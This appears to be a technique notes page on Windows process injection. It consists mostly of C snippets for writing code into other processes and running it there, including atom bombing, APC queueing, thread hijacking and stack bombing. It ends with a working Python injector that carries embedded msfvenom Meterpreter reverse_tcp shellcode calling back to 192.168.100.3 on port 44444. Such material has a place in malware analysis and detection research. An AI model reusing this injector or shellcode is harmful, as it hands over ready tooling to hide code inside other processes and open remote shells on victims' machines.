Windows Process Injection
Process Injection Techniques¶
https://kasimir123.github.io/blog-posts/DLL%20Injection.html
Writing Memory¶
Memory Allocation Technique:
HANDLE h = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id);
LPVOID target_payload = VirtualAllocEx(h,NULL,sizeof(payload), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory Technique:
HANDLEh = OpenProcess(PROCESS_VM_WRITE, FALSE, process_id);
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL);
Shared Memory Writing Technique:
//Memory must already be RWX
HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name);
BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload))
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_READ, FALSE, process_id);
char* read_buf= newchar[sizeof(payload)];
SIZE_T region_size;
for(DWORD64address = 0; address < 0x00007fffffff0000ull; address += region_size){
MEMORY_BASIC_INFORMATION mem;
SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem, sizeof(mem));
//... Shared memory detection logic here ...
if((mem.Type== MEM_MAPPED) && (mem.State== MEM_COMMIT) && (mem.Protect== PAGE_READWRITE) && (mem.RegionSize== section_size)){
ReadProcessMemory(h, (LPCVOID)(address+section_size-sizeof(payload)), read_buf, sizeof(payload), NULL);
if(memcmp(read_buf, payload, sizeof(payload)) == 0){
// the payload is at
DWORD64 target_payload = address + section_size-sizeof(payload);
//DO STUFF
break;
}
}
region_size= mem.RegionSize;
}
Atom Bombing Write Technique:
//Payload less then 256 bytes
//Terminates with a null byte
HANDLE th= OpenThread(THREAD_SET_CONTEXT| THREAD_QUERY_INFORMATION, FALSE, thread_id);
ATOM a = GlobalAddAtomA(payload);
NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a, (PVOID)(target_payload), (PVOID)(sizeof(payload)));
NtMapViewOfSection Allocate and Write Technique:
HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL);
LPVOID map_addr=MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);
HANDLE p = OpenProcess(PROCESS_VM_WRITE| PROCESS_VM_OPERATION, FALSE, process_id);
memcpy(map_addr, payload, sizeof(payload));
LPVOID target_payload=0;
SIZE_T view_size=0;
NtMapViewOfSection(fm, p, &target_payload, 0, sizeof(payload), NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE);
memset/memmove Write Technique:
HMODULE ntdll = GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
for(int i= 0; i< sizeof(payload); i++){
NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1);
}
// Can finish with an “atomic”
//NtQueueApcThread(t, GetProcAddress(ntdll, "memmove"), (void*)target_payload_final, (void*)target_payload, sizeof(payload));
Executing¶
CreateRemoteThread Execution Technique:
HANDLEh = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE) target_execution, RCX, 0, NULL);
//target_execution must be valid or will crash the process
CreateRemoteThread DLL Injection Technique:
HANDLEh = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, target_DLL_path, 0, NULL);
//Blocked in Windows 10 by CIG
CreateRemoteThread DLL Injection Technique:
Another classic DLL injection execution techniqueHMODULEh = LoadLibraryA(dll_path);
HOOKPROCf = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessagehook
SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id);
PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook
//Blocked in Windows 10 by CIG
APC Execution Technique Example 1:
HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX);
//target_execution must be valid or will crash the process
APC Execution Technique Example 2:
orNtQueueApcThread(h, (LPTHREAD_START_ROUTINE)target_execution, RCX, RDX, R8D);
//target_execution must be valid or will crash the process
Suspend Inject and Resume Thread Execution Technique:
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip= (DWORD64)target_execution;
SetThreadContext(t, &ctx);
ResumeThread(t);
//Must use Stack Piviot gadget
Unmap and Rewrite Execution Technique:
MODULEINFO ntdll_info;
HMODULEntdll = GetModuleHandleA("ntdll");
GetModuleInformation(GetCurrentProcess(), ntdll, &ntdll_info, sizeof(ntdll_info));
LPVOID ntdll_copy = malloc(ntdll_info.SizeOfImage);
HANDLE p = OpenProcess(PROCESS_VM_WRITE| PROCESS_VM_READ| PROCESS_VM_OPERATION| PROCESS_SUSPEND_RESUME, FALSE, process_id);
NtSuspendProcess(p);
ReadProcessMemory(p, ntdll, ntdll_copy, ntdll_info.SizeOfImage, NULL);
// Patch e.g. NtClose in ntdll_copy
NtUnmapViewOfSection(p, ntdll);
// Allocate +(Re)write ntdll_copy to address ntdll in target process
FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage);
NtResumeProcess(p);
Stack-bombing Execution Technique:
HANDLE t = OpenThread(THREAD_SET_CONTEXT| THREAD_GET_CONTEXT| THREAD_SUSPEND_RESUME, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &ctx);
DWORD64 ROP_chain = (DWORD64)ctx.Rsp; // for the 5 alertable state functions...
// Adjust ROP_chainbased on ctx.rip(or use APC...)
// write ROP chain to ROP_chain memory address in target
processResumeThread(t);
// when the current function returns, it’ll execute the ROP chain
DLL Injection¶
- Does not work in Windows 10
DLL Injection PoC:
import sys
from ctypes import *
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x00000040
DELETE = 0x00010000
READ_CONTROL = 0x00020000
WRITE_DAC = 0x00040000
WRITE_OWNER = 0x00080000
SYNCHRONIZE = 0x00100000
PROCESS_ALL_ACCESS = ( DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER | SYNCHRONIZE |
0xFFF # If < WinXP/WinServer2003 - 0xFFFF otherwise
)
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
KERNEL32 = windll.kernel32
def dllinject(dll_path, pid):
""" Inject a DLL into target process.
:param dll_path: path to dll
:param pid: target process id
"""
dll_len = len(dll_path)
#Use Windows Process Handler
h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
# No handler to PID
return False
# Allocate Memory for the DLL
dll_address = KERNEL32.VirtualAllocEx(
h_process,
0,
dll_len,
VIRTUAL_MEM,
PAGE_READWRITE)
w = c_int(0)
# Write DLL into allocated memory
KERNEL32.WriteProcessMemory(
h_process,
dll_address,
dll_path,
dll_len,
byref(w))
# Find LoadLibraryA function
h_kernel32 = KERNEL32.GetModuleHandleA('kernel32.dll')
h_loadlib = KERNEL32.GetProcAddress(h_kernel32, 'LoadLibraryA')
# Create a new thread in target process
t_id = c_ulong(0)
if not KERNEL32.CreateRemoteThread(
h_process,
None,
0,
h_loadlib,
dll_address,
0,
byref(t_id)):
# Cannot start a thread
return False
print t_id
return True
def codeinject(shellcode, pid):
""" Inject code into target process.
:param shellcode: shellcode to inject
:param pid: target process id
"""
shellcode_len = len(shellcode)
#Use Windows Process Handler
h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
# No handler to PID
print 'No handler to PID'
return False
# Allocate Memory for the Shellcode
shellcode_address = KERNEL32.VirtualAllocEx(
h_process,
0,
shellcode_len,
VIRTUAL_MEM,
PAGE_EXECUTE_READWRITE)
w = c_int(0)
# Write shellcode to the new memory
KERNEL32.WriteProcessMemory(
h_process,
shellcode_address,
shellcode,
shellcode_len,
byref(w))
t_id = c_ulong(0)
#Create Thread in the process and execute the shellcode
if not KERNEL32.CreateRemoteThread(
h_process,
None,
0,
shellcode_address,
None,
0,
byref(t_id)):
# Cannot start thread
return False
return True
if __name__ == '__main__':
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 --platform Windows -f py --bad-chars '\x00\x0A\x0D' -o payload.bin
shellcode = b""
shellcode += b"\xdb\xd5\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x56\xbb\xb5"
shellcode += b"\xea\x95\xb2\x31\x58\x18\x03\x58\x18\x83\xc0\xb1\x08"
shellcode += b"\x60\x4e\x51\x4e\x8b\xaf\xa1\x2f\x05\x4a\x90\x6f\x71"
shellcode += b"\x1e\x82\x5f\xf1\x72\x2e\x2b\x57\x67\xa5\x59\x70\x88"
shellcode += b"\x0e\xd7\xa6\xa7\x8f\x44\x9a\xa6\x13\x97\xcf\x08\x2a"
shellcode += b"\x58\x02\x48\x6b\x85\xef\x18\x24\xc1\x42\x8d\x41\x9f"
shellcode += b"\x5e\x26\x19\x31\xe7\xdb\xe9\x30\xc6\x4d\x62\x6b\xc8"
shellcode += b"\x6c\xa7\x07\x41\x77\xa4\x22\x1b\x0c\x1e\xd8\x9a\xc4"
shellcode += b"\x6f\x21\x30\x29\x40\xd0\x48\x6d\x66\x0b\x3f\x87\x95"
shellcode += b"\xb6\x38\x5c\xe4\x6c\xcc\x47\x4e\xe6\x76\xac\x6f\x2b"
shellcode += b"\xe0\x27\x63\x80\x66\x6f\x67\x17\xaa\x1b\x93\x9c\x4d"
shellcode += b"\xcc\x12\xe6\x69\xc8\x7f\xbc\x10\x49\x25\x13\x2c\x89"
shellcode += b"\x86\xcc\x88\xc1\x2a\x18\xa1\x8b\x22\xed\x88\x33\xb2"
shellcode += b"\x79\x9a\x40\x80\x26\x30\xcf\xa8\xaf\x9e\x08\xb9\xb8"
shellcode += b"\x20\xc6\x01\xa8\xde\xe7\x71\xe0\x24\xb3\x21\x9a\x8d"
shellcode += b"\xbc\xaa\x5a\x31\x69\x46\x51\xa5\x52\x3e\x01\x36\x3b"
shellcode += b"\x3c\xca\x95\x27\xc9\x2c\xb5\x07\x99\xe0\x76\xf8\x59"
shellcode += b"\x51\x1f\x12\x56\x8e\x3f\x1d\xbd\xa7\xaa\xf2\x6b\x9f"
shellcode += b"\x42\x6a\x36\x6b\xf2\x73\xed\x11\x34\xff\x07\xe5\xfb"
shellcode += b"\x08\x62\xf5\xec\x6e\x8c\x05\xed\x1a\x8c\x6f\xe9\x8c"
shellcode += b"\xdb\x07\xf3\xe9\x2b\x88\x0c\xdc\x28\xcf\xf3\xa1\x18"
shellcode += b"\xbb\xc2\x37\x24\xd3\x2a\xd8\xa4\x23\x7d\xb2\xa4\x4b"
shellcode += b"\xd9\xe6\xf7\x6e\x26\x33\x64\x23\xb3\xbc\xdc\x97\x14"
shellcode += b"\xd5\xe2\xce\x53\x7a\x1d\x25\xe0\x7d\xe1\xbb\xcf\x25"
shellcode += b"\x89\x43\x50\xd6\x49\x2e\x50\x86\x21\xa5\x7f\x29\x81"
shellcode += b"\x46\xaa\x62\x89\xcd\x3b\xc0\x28\xd1\x11\x84\xf4\xd2"
shellcode += b"\x96\x1d\x07\xa8\xd7\xa2\xe8\x4d\xfe\xc6\xe9\x4d\xfe"
shellcode += b"\xf8\xd6\x9b\xc7\x8e\x19\x18\x7c\x80\x2c\x3d\xd5\x0b"
shellcode += b"\x4e\x11\x25\x1e"
codeinject(shellcode, sys.argv[1])